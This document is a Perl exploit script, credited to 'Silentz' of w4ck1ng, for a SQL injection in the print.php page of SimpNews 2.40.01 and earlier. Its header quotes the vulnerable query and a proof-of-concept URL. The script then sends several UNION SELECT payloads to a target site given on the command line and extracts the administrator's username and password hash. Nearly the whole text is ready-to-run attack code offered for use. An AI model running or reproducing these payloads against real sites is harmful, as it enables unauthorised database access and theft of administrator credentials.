#!/usr/bin/perl -w ################################################################################# # # # SimpNews <= 2.40.01 SQL Injection Exploit # # # # Discovered by: Silentz # # Payload: Admin Username & Hash Retrieval # # Website: http://www.w4ck1ng.com # # # # Vulnerable Code (print.php): # # # # $sql = "select * from ".$tableprefix."_data where newsnr=$newsnr"; # # # # PoC: http://victim.com/simpnews/print.php?lang=en&layout=def&newsnr=-999 # # UNION SELECT 0,0,0,password,username,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, # # 0,0,0 FROM simpnews_users WHERE usernr=1 # # # # Subject To: magic_quotes_gpc set to off # # GoogleDork: Get your own! # # # # Shoutz: The entire w4ck1ng community # # # ################################################################################# use LWP::UserAgent; if (@ARGV < 1){ print "-------------------------------------------------------------------------\r\n"; print " SimpNews <= 2.40.01 SQL Injection Exploit\r\n"; print "-------------------------------------------------------------------------\r\n"; print "Usage: w4ck1ng_simpnews.pl [PATH]\r\n\r\n"; print "[PATH] = Path where SimpNews is located\r\n\r\n"; print "e.g. w4ck1ng_simpnews.pl http://victim.com/simpnews/\r\n"; print "-------------------------------------------------------------------------\r\n"; print " http://www.w4ck1ng.com\r\n"; print " ...Silentz\r\n"; print "-------------------------------------------------------------------------\r\n"; exit(); } $b = LWP::UserAgent->new() or die "Could not initialize browser\n"; $b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)'); @paths = ( "print.php?lang=en&newsnr=-999 UNION SELECT 0,0,0,password,username,username,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 FROM simpnews_users WHERE usernr=1", "print.php?lang=en&newsnr=-999 UNION SELECT 0,0,0,password,username,username,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 FROM simpnews_users WHERE usernr=1", "print.php?lang=en&newsnr=-999 UNION SELECT 0,0,0,password,username,username,0,0,0,0,0,0,0,0,0,0,0,0,0 FROM simpnews_users WHERE usernr=1", "print.php?lang=en&layout=def&newsnr=-999 UNION SELECT 0,0,0,password,username,username,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 FROM simpnews_users WHERE usernr=1", "print.php?lang=en&layout=def&newsnr=-999 UNION SELECT 0,0,0,password,username,username,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 FROM simpnews_users WHERE usernr=1", "print.php?lang=en&layout=def&newsnr=-999 UNION SELECT 0,0,0,password,username,username,0,0,0,0,0,0,0,0,0,0,0,0,0 FROM simpnews_users WHERE usernr=1" ); for($i=0;$i<6;$i++){ $host = $ARGV[0] . $paths[$i]; $res = $b->request(HTTP::Request->new(GET=>$host)); ($user) = $res->content =~ /poster: (.*?)<\/font><\/td><\/tr>/; ($hash) = $res->content =~ /([0-9a-fA-F]{32})<\/font>/; if($hash){ last; } } if($user && $hash){ print "-------------------------------------------------------------------------\r\n"; print " SimpNews <= 2.40.01 SQL Injection Exploit\r\n"; print "-------------------------------------------------------------------------\r\n"; print "[+] Admin User : $user\n"; print "[+] Admin Hash : $hash\n"; print "-------------------------------------------------------------------------\r\n"; print " http://www.w4ck1ng.com\r\n"; print " ...Silentz\r\n"; print "-------------------------------------------------------------------------\r\n"; } else { print "\nExploit Failed...\n"; }